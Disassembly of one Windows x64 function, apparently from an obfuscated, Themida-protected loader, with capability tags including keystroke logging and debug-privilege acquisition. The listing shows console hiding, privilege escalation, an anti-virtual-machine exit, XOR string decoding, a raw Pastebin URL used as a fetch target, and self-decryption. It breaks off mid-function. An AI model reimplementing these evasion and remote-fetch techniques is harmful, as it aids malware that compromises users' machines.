Function at 0x1400723e0
Capabilities:
Acquire debug privileges
Create process on windows
Create thread
Encode data using xor
Execute command
Log keystrokes via polling
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xab8]
sub rsp, 0xbb8
xor esi, esi
mov dword [rbp + 0xb00], esi
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0xb08]
lea edx, [rsi + 0x28]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140072492
lea r8, [rbp + 0xb00]
lea rdx, str.SeSecurityPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x140072492
mov dword [rsp + 0x30], 1
mov rax, qword [rbp + 0xb00]
mov qword [rsp + 0x34], rax
mov dword [rsp + 0x3c], 2
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
lea r9d, [rsi + 0x10]
lea r8, [rsp + 0x30]
xor edx, edx
mov rcx, qword [rbp + 0xb08]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0xb08]
mov edx, Ordinal_41
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14007250b
lea r8, [rbp + 0xb00]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x14007250b
mov dword [rsp + 0x30], 1
mov rax, qword [rbp + 0xb00]
mov qword [rsp + 0x34], rax
mov dword [rsp + 0x3c], 2
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rsp + 0x30]
xor edx, edx
mov rcx, qword [rbp + 0xb08]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
lea rcx, [0x1401f9870]
call fcn.140076340
test al, al
je 0x140072545
mov r9d, reloc.WS2_32.dll_recv
lea r8, [0x140186c5a]
lea rdx, str.The_usage_of_virtual_environment_is_not_allowed.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [rbp + 0x20]
call fcn.140045180
nop
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.14004da30
nop
lea r8, str.c2a7a660_ca80_41d9_bb09_c133f11ee957_af23d.tmp
lea rdx, [rbp + 0x80]
lea rcx, [rbp - 0x20]
call fcn.140052dd0
nop
mov rdx, rax
lea rcx, [rbp + 0xa0]
call fcn.14004d8b0
nop
lea rcx, [rbp + 0xa0]
call fcn.140045050
movzx ebx, al
lea rcx, [rbp + 0xa0]
call fcn.14004d880
nop
lea rcx, [rbp - 0x20]
call fcn.14004d880
nop
lea rcx, [rbp + 0x80]
call fcn.14004d880
nop
lea rcx, [rbp + 0x20]
call fcn.14004d880
test bl, bl
je 0x1400725ce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
mov ecx, 1
call fcn.140153948
mov rbx, rax
movzx edx, byte [rbp + 0xb00]
mov rcx, rax
call fcn.14006f340
mov qword [rbp + 0xb00], rbx
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
mov r9, rbx
lea r8, [0x140075710]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14007414a
cmp dword [rsp + 0x38], 0
je 0x14007413e
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14007413e
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea ecx, [rax + 1]
call fcn.140153948
mov rbx, rax
movzx edx, byte [rbp + 0xb00]
mov rcx, rax
call fcn.14006f340
mov qword [rbp + 0xb00], rbx
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
mov r9, rbx
lea r8, [0x140075730]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14007412e
cmp dword [rsp + 0x38], 0
je 0x140074122
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140074122
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea ecx, [rax + 1]
call fcn.140153948
mov rbx, rax
movzx edx, byte [rbp + 0xb00]
mov rcx, rax
call fcn.14006f340
mov qword [rbp + 0xb00], rbx
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
mov r9, rbx
lea r8, [0x140075750]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140074112
cmp dword [rsp + 0x38], 0
je 0x140074106
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140074106
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
call qword [sym.imp.SecureEngineSDK64.dll_Ordinal_119]
movabs rbx, 0x5fbd1ebdd7519d97
mov qword [rbp + 0x200], rbx
movabs r14, 0x1e5a1d2a93fb6f3e
mov qword [rbp + 0x208], r14
lea r8, [rbp + 0x210]
lea rdx, [rbp + 0x200]
lea rcx, [rsp + 0x50]
call fcn.14004d390
movabs r12, 0x5f8f68cfa22bf8d9
mov qword [rbp - 0x70], r12
mov qword [rbp + 0x210], r12
mov qword [rbp - 0x68], r14
mov qword [rbp + 0x218], r14
lea r8, [rbp + 0x220]
lea rdx, [rbp + 0x210]
lea rcx, [rbp - 0x60]
call fcn.14004d390
mov qword [rsp + 0x30], rbx
mov qword [rbp + 0x220], rbx
mov qword [rsp + 0x38], r14
mov qword [rbp + 0x228], r14
lea r8, [rbp + 0x230]
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x20]
call fcn.14004d390
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rsp + 0x30], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
mov qword [rbp + 0x260], rsi
mov qword [rbp + 0x268], rsi
lea rax, [rsp + 0x30]
mov r15, 0xffffffffffffffff
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140072830
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x250]
call fcn.140032010
nop
movabs rbx, 0x6fc31b80f346cceb
mov qword [rbp + 0xc0], rbx
movabs rdi, 0x1e5a1d2a93fb0873
mov qword [rbp + 0xc8], rdi
lea r8, [rbp + 0xd0]
lea rdx, [rbp + 0xc0]
lea rcx, [rbp - 0x20]
call fcn.14004d390
mov qword [rbp + 0x60], r12
mov qword [rsp + 0x40], r12
mov qword [rbp + 0x68], r14
mov qword [rsp + 0x48], r14
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.14004d390
mov qword [rsp + 0x30], rbx
mov qword [rbp - 0x70], rbx
mov qword [rsp + 0x38], rdi
mov qword [rbp - 0x68], rdi
lea r8, [rbp - 0x60]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xa0]
call fcn.14004d390
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rsp + 0x30], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x180], rsi
mov qword [rbp + 0x188], rsi
lea rax, [rsp + 0x30]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140072903
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x170]
call fcn.140032010
nop
movabs rbx, 0x39e90eaa914f9aed
mov qword [rbp + 0x320], rbx
movabs rdi, 0x7d6c2919f1995b58
mov qword [rbp + 0x328], rdi
movabs rsi, 0x96fc02e6e887e598
mov qword [rbp + 0x330], rsi
movabs r14, 0xca5f2550a09e96a1
mov qword [rbp + 0x338], r14
movabs r12, 0x615e5f265eaf8019
mov qword [rbp + 0x340], r12
movabs r13, 0xb1b1ecff19649610
mov qword [rbp + 0x348], r13
movabs rax, 0x927db6c2bd883069
mov qword [rbp + 0x350], rax
movabs rax, 0x75949e5f5a4b7926
mov qword [rbp + 0x358], rax
movabs rax, 0x6172ef172af538c1
mov qword [rbp + 0x360], rax
movabs rax, 0xfa4e2f328b78fac6
mov qword [rbp + 0x368], rax
lea r8, [rbp + 0x370]
lea rdx, [rbp + 0x320]
lea rcx, [rbp + 0x20]
call fcn.14004d390
movabs rax, 0x5f8f68cfa22bf8d9
mov qword [rbp + 0x2d0], rax
mov qword [rbp + 0x370], rax
movabs rax, 0x1e5a1d2a93fb6f3e
mov qword [rbp + 0x2d8], rax
mov qword [rbp + 0x378], rax
movabs rax, 0xafcf3bd18ce3d3fb
mov qword [rbp + 0x2e0], rax
mov qword [rbp + 0x380], rax
movabs rax, 0xf839463498afa190
mov qword [rbp + 0x2e8], rax
mov qword [rbp + 0x388], rax
movabs rax, 0x586639133cccb57d
mov qword [rbp + 0x2f0], rax
mov qword [rbp + 0x390], rax
movabs rax, 0xd2d2d59e7f57f422
mov qword [rbp + 0x2f8], rax
mov qword [rbp + 0x398], rax
movabs rax, 0xa54485f5d9bc525f
mov qword [rbp + 0x300], rax
mov qword [rbp + 0x3a0], rax
movabs rax, 0x10a2a7683f2a4f14
mov qword [rbp + 0x308], rax
mov qword [rbp + 0x3a8], rax
movabs rax, 0x6172ef172af538c1
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x3b0], rax
movabs rax, 0xfa4e2f328b78fac6
mov qword [rbp + 0x318], rax
mov qword [rbp + 0x3b8], rax
lea r8, [rbp + 0x3c0]
lea rdx, [rbp + 0x370]
lea rcx, [rbp - 0x60]
call fcn.14004d390
mov qword [rbp + 0x1b0], rbx
mov qword [rbp + 0x3c0], rbx
mov qword [rbp + 0x1b8], rdi
mov qword [rbp + 0x3c8], rdi
mov qword [rbp + 0x1c0], rsi
mov qword [rbp + 0x3d0], rsi
mov qword [rbp + 0x1c8], r14
mov qword [rbp + 0x3d8], r14
mov qword [rbp + 0x1d0], r12
mov qword [rbp + 0x3e0], r12
mov qword [rbp + 0x1d8], r13
mov qword [rbp + 0x3e8], r13
movabs rax, 0x927db6c2bd883069
mov qword [rbp + 0x1e0], rax
mov qword [rbp + 0x3f0], rax
movabs rax, 0x75949e5f5a4b7926
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x3f8], rax
movabs rax, 0x6172ef172af538c1
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x400], rax
movabs rax, 0xfa4e2f328b78fac6
mov qword [rbp + 0x1f8], rax
mov qword [rbp + 0x408], rax
lea r8, [rbp + 0x410]
lea rdx, [rbp + 0x3c0]
lea rcx, [rsp + 0x50]
call fcn.14004d390
movdqa xmm0, xmmword [rbp + 0x1b0]
xorps xmm0, xmmword [rbp + 0x2d0]
movdqa xmmword [rbp + 0x1b0], xmm0
movdqa xmm1, xmmword [rbp + 0x1c0]
xorps xmm1, xmmword [rbp + 0x2e0]
movdqa xmmword [rbp + 0x1c0], xmm1
movdqa xmm0, xmmword [rbp + 0x1d0]
xorps xmm0, xmmword [rbp + 0x2f0]
movdqa xmmword [rbp + 0x1d0], xmm0
movdqa xmm1, xmmword [rbp + 0x1e0]
xorps xmm1, xmmword [rbp + 0x300]
movdqa xmmword [rbp + 0x1e0], xmm1
movdqa xmm0, xmmword [rbp + 0x1f0]
xorps xmm0, xmmword [rbp + 0x310]
movdqa xmmword [rbp + 0x1f0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
xor r12d, r12d
mov qword [rbp + 0x160], r12
mov qword [rbp + 0x168], r12
lea rax, [rbp + 0x1b0]
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x140072c50
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x150]
call fcn.140032010
nop
movabs rbx, 0x5f8f68cfa22bf8e8
mov qword [rbp - 0x70], rbx
movabs r13, 0x1e5a1d2a93fb6f3e
mov qword [rbp - 0x68], r13
lea r8, [rbp - 0x60]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xa0]
call fcn.14004d390
movabs rax, 0x5f8f68cfa22bf8d9
mov qword [rbp + 0x60], rax
mov qword [rsp + 0x40], rax
mov qword [rbp + 0x68], r13
mov qword [rsp + 0x48], r13
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.14004d390
mov qword [rsp + 0x30], rbx
mov qword [rbp + 0xc0], rbx
mov qword [rsp + 0x38], r13
mov qword [rbp + 0xc8], r13
lea r8, [rbp + 0xd0]
lea rdx, [rbp + 0xc0]
lea rcx, [rbp - 0x20]
call fcn.14004d390
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rsp + 0x30], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x140], r12
mov qword [rbp + 0x148], r12
lea rax, [rsp + 0x30]
mov r8, r15
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140072d30
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x130]
call fcn.140032010
nop
movabs rbx, 0x70a052bcd25f8cb1
mov qword [rsp + 0x50], rbx
movabs rdi, 0x3032695ff2820a55
mov qword [rsp + 0x58], rdi
movabs rsi, 0x80a64bb0a38dba8c
mov qword [rsp + 0x60], rsi
movabs r14, 0xf8394634b79d8fa1
mov qword [rsp + 0x68], r14
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x20]
call fcn.14004d390
movabs rax, 0x5f8f68cfa22bf8d9
mov qword [rbp + 0x60], rax
mov qword [rsp + 0x50], rax
mov qword [rbp + 0x68], r13
mov qword [rsp + 0x58], r13
movabs rax, 0xafcf3bd18ce3d3fb
mov qword [rbp + 0x70], rax
mov qword [rsp + 0x60], rax
movabs rax, 0xf839463498afa190
mov qword [rbp + 0x78], rax
mov qword [rsp + 0x68], rax
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x20]
call fcn.14004d390
mov qword [rbp - 0x60], rbx
mov qword [rsp + 0x50], rbx
mov qword [rbp - 0x58], rdi
mov qword [rsp + 0x58], rdi
mov qword [rbp - 0x50], rsi
mov qword [rsp + 0x60], rsi
mov qword [rbp - 0x48], r14
mov qword [rsp + 0x68], r14
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x20]
call fcn.14004d390
movdqa xmm0, xmmword [rbp - 0x60]
xorps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [rbp - 0x50]
xorps xmm1, xmmword [rbp + 0x70]
movdqa xmmword [rbp - 0x50], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
mov qword [rbp + 0x1a0], r12
mov qword [rbp + 0x1a8], r12
lea rax, [rbp - 0x60]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140072e62
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x190]
call fcn.140032010
nop
lea rax, [rbp + 0xa0]
mov qword [rbp + 0xb00], rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0xa0]
call fcn.14004df10
mov r14, rax
lea rax, [rbp + 0x80]
mov qword [rbp + 0xb08], rax
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x80]
call fcn.14004df10
mov rsi, rax
lea rax, [rbp - 0x20]
mov qword [rbp + 0xb10], rax
lea rdx, [rbp + 0x150]
lea rcx, [rbp - 0x20]
call fcn.14004df10
mov rdi, rax
lea rax, [rbp + 0x20]
mov qword [rbp + 0xb18], rax
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x20]
call fcn.14004df10
mov rbx, rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp - 0x60]
call fcn.14004df10
nop
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x620]
call fcn.140071c40
nop
lea rax, [0x140195008]
mov qword [rbp + 0x410], rax
lea rax, [0x140194f58]
mov qword [rbp + 0x420], rax
lea rcx, [rbp + 0x4a8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp + 0xb00], 0x3d
lea rcx, [rbp + 0x428]
call fcn.14004dbe0
mov rdx, rax
xor r8d, r8d
lea rcx, [rbp + 0x410]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0x410]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x410], rax
mov rax, qword [rbp + 0x410]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x40c], edx
mov edx, 3
lea rcx, [rbp + 0x428]
call fcn.14004f730
nop
lea rcx, [rbp + 0xd0]
call fcn.14004dfb0
nop
lea rcx, [rbp + 0xf0]
call fcn.14004dfb0
nop
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov edx, 5
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rbp + 0x230]
call fcn.14004dfb0
nop
lea rcx, [rbp + 0x2b0]
call fcn.14004dfb0
nop
lea rcx, [rbp + 0x290]
call fcn.14004dfb0
nop
lea rcx, [rbp + 0x270]
call fcn.14004dfb0
nop
call qword [fcn.140094bb0]
mov rbx, rax
call qword [sym.imp.SecureEngineSDK64.dll_Ordinal_519]
test rbx, rbx
je 0x140073095
lea r8, str.https:__pastebin.com_raw_EpaNxFBK
mov edx, 0x2712
mov rcx, rbx
call qword [str.0i_b_]
lea r8, [0x140072310]
mov edx, 0x4e2b
mov rcx, rbx
call qword [str.0i_b_]
lea r8, [rbp + 0xd0]
mov edx, 0x2711
mov rcx, rbx
call qword [str.0i_b_]
mov rcx, rbx
call qword [str._L_t_]
mov edi, eax
mov rcx, rbx
call qword [0x140195d28]
jmp 0x14007309b
mov edi, dword [rbp + 0xb00]
test edi, edi
je 0x1400734bd
movabs rbx, 0x5f8f68cfa22bf8d9
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], r13
lea r8, [rbp - 0x60]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xa0]
call fcn.14004d390
mov qword [rbp + 0x60], rbx
mov qword [rsp + 0x40], rbx
mov qword [rbp + 0x68], r13
mov qword [rsp + 0x48], r13
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.14004d390
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x48], r13
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.14004d390
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rsp + 0x30], xmm0
movabs rbx, 0x2de01abdc70b9698
mov qword [rbp - 0x60], rbx
movabs rdi, 0x7b286f5ff098001e
mov qword [rbp - 0x58], rdi
movabs rsi, 0xc8a152a3f987f39f
mov qword [rbp - 0x50], rsi
movabs r14, 0x9c493314fdc7d5b0
mov qword [rbp - 0x48], r14
movabs r12, 0x31145c651ca9c11c
mov qword [rbp - 0x40], r12
movabs r13, 0xbcbdbcea1e349d44
mov qword [rbp - 0x38], r13
movabs rax, 0xa54485f5d9bc525f
mov qword [rbp - 0x30], rax
movabs rax, 0x10a2a7683f2a4f14
mov qword [rbp - 0x28], rax
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xa0]
call fcn.14004d390
movabs rax, 0x5f8f68cfa22bf8d9
mov qword [rbp + 0x20], rax
mov qword [rsp + 0x50], rax
movabs rax, 0x1e5a1d2a93fb6f3e
mov qword [rbp + 0x28], rax
mov qword [rsp + 0x58], rax
movabs rax, 0xafcf3bd18ce3d3fb
mov qword [rbp + 0x30], rax
mov qword [rsp + 0x60], rax
movabs rax, 0xf839463498afa190
mov qword [rbp + 0x38], rax
mov qword [rsp + 0x68], rax
movabs rax, 0x586639133cccb57d
mov qword [rbp + 0x40], rax
mov qword [rsp + 0x70], rax
movabs rax, 0xd2d2d59e7f57f422
mov qword [rbp + 0x48], rax
mov qword [rsp + 0x78], rax
movabs rax, 0xa54485f5d9bc525f
mov qword [rbp + 0x50], rax
mov qword [rbp - 0x80], rax
movabs rax, 0x10a2a7683f2a4f14
mov qword [rbp + 0x58], rax
mov qword [rbp - 0x78], rax
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x80]
call fcn.14004d390
mov qword [rbp - 0x20], rbx
mov qword [rsp + 0x50], rbx
mov qword [rbp - 0x18], rdi
mov qword [rsp + 0x58], rdi
mov qword [rbp - 0x10], rsi
mov qword [rsp + 0x60], rsi
mov qword [rbp - 8], r14
mov qword [rsp + 0x68], r14
mov qword [rbp], r12
mov qword [rsp + 0x70], r12
mov qword [rbp + 8], r13
mov qword [rsp + 0x78], r13
movabs rax, 0xa54485f5d9bc525f
mov qword [rbp + 0x10], rax
mov qword [rbp - 0x80], rax
movabs rax, 0x10a2a7683f2a4f14
mov qword [rbp + 0x18], rax
mov qword [rbp - 0x78], rax
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x80]
call fcn.14004d390
movdqa xmm0, xmmword [rbp - 0x20]
xorps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [rbp + 0x30]
xorps xmm1, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmm0, xmmword [rbp + 0x40]
xorps xmm0, xmmword [rbp]
movdqa xmmword [rbp], xmm0
movdqa xmm1, xmmword [rbp + 0x50]
xorps xmm1, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x10], xmm1
xor r9d, r9d
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x20]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor r12d, r12d
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x8a0]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rbp + 0x8a0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x1c]
lea rdx, [rbp + 0x8a0]
lea rcx, [rbp + 0x510]
call fcn.14004bd50
nop
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x510]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rcx, rax
call fcn.14004e280
mov rbx, rax
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x510]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
mov rcx, rbx
call fcn.140153d50
mov r14, rax
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x510]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
lea rdx, [rbx - 0x10]
add rdx, r14
mov r8d, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x110]
call fcn.14004dec0
nop
mov esi, r12d
cmp qword [rbp + 0x120], 0
jbe 0x140073414
mov rdi, r12
mov rdx, rdi
lea rcx, [rbp + 0x110]
call fcn.14004d490
movzx ebx, byte [rax]
xor bl, 0xde
mov rdx, rdi
lea rcx, [rbp + 0x110]
call fcn.14004d490
mov byte [rax], bl
inc esi
movsxd rdi, esi
cmp rdi, qword [rbp + 0x120]
jb 0x1400733e0
mov rcx, r14
call fcn.140153cac
lea rcx, [rbp + 0x110]
call fcn.14004dde0
mov rbx, rax
call fcn.14004a200
inc r15
cmp byte [rbx + r15], 0
jne 0x140073430
mov r8, r15
mov rdx, rbx
lea rcx, [rax + 0x30]
call fcn.14003e510
cmp byte [0x1401b2710], 0
jne 0x140073466
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x1401b2710], 0
je 0x140073452
mov ecx, 0xdac
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, qword [rbp + 0x128]
cmp rdx, 0x10
jb 0x140073c75
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073c70
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073c70
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0x10
cmovae rdx, qword [rbp + 0xd0]
mov r8, qword [rbp + 0xe0]
lea rcx, [rbp + 0x420]
call fcn.1400754c0
call qword [sym.imp.SecureEngineSDK64.dll_Ordinal_119]
lea rcx, [rbp + 0x620]
call fcn.1400e2440
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rdi, 0x7ffd0dbbcc6ed8d3
mov qword [rbp + 0x20], rdi
movabs rsi, 0x243f6e44f6980652
mov qword [rbp + 0x28], rsi
movabs r14, 0xafcf3bd18ce3d3db
mov qword [rbp + 0x30], r14
movabs rax, 0xf839463498afa190
mov qword [rbp + 0x38], rax
lea r8, [rbp + 0x40]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xa0]
call fcn.14004d390
movabs rax, 0x5f8f68cfa22bf8d9
mov qword [rsp + 0x50], rax
mov qword [rbp - 0x60], rax
mov qword [rsp + 0x58], r13
mov qword [rbp - 0x58], r13
movabs rax, 0xafcf3bd18ce3d3fb
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x50], rax
movabs rax, 0xf839463498afa190
mov qword [rsp + 0x68], rax
mov qword [rbp - 0x48], rax
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x80]
call fcn.14004d390
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x10], r14
mov qword [rbp - 0x50], r14
movabs rax, 0xf839463498afa190
mov qword [rbp - 8], rax
mov qword [rbp - 0x48], rax
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x80]
call fcn.14004d390
movdqa xmm0, xmmword [rbp - 0x20]
xorps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [rsp + 0x60]
xorps xmm1, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm1
lea rdx, [rbp - 0x20]
mov rcx, rbx
call fcn.140074f80
lea rdx, [rbp + 0x230]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400751d0
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0xa0]
call fcn.14004df10
mov rdx, rax
lea rcx, [rbp + 0x620]
call fcn.1400e3b10
lea rcx, [0x140195114]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp byte [rbp + 0x830], 0
jne 0x14007375f
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rdi, 0x31ea0bbccb67d8d3
mov qword [rbp + 0x20], rdi
movabs rsi, 0x787a6945fddb0a4d
mov qword [rbp + 0x28], rsi
movabs r14, 0xafcf3bf1e88da694
mov qword [rbp + 0x30], r14
movabs r15, 0xf839463498afa190
mov qword [rbp + 0x38], r15
lea r8, [rbp + 0x40]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xa0]
call fcn.14004d390
movabs rax, 0x5f8f68cfa22bf8d9
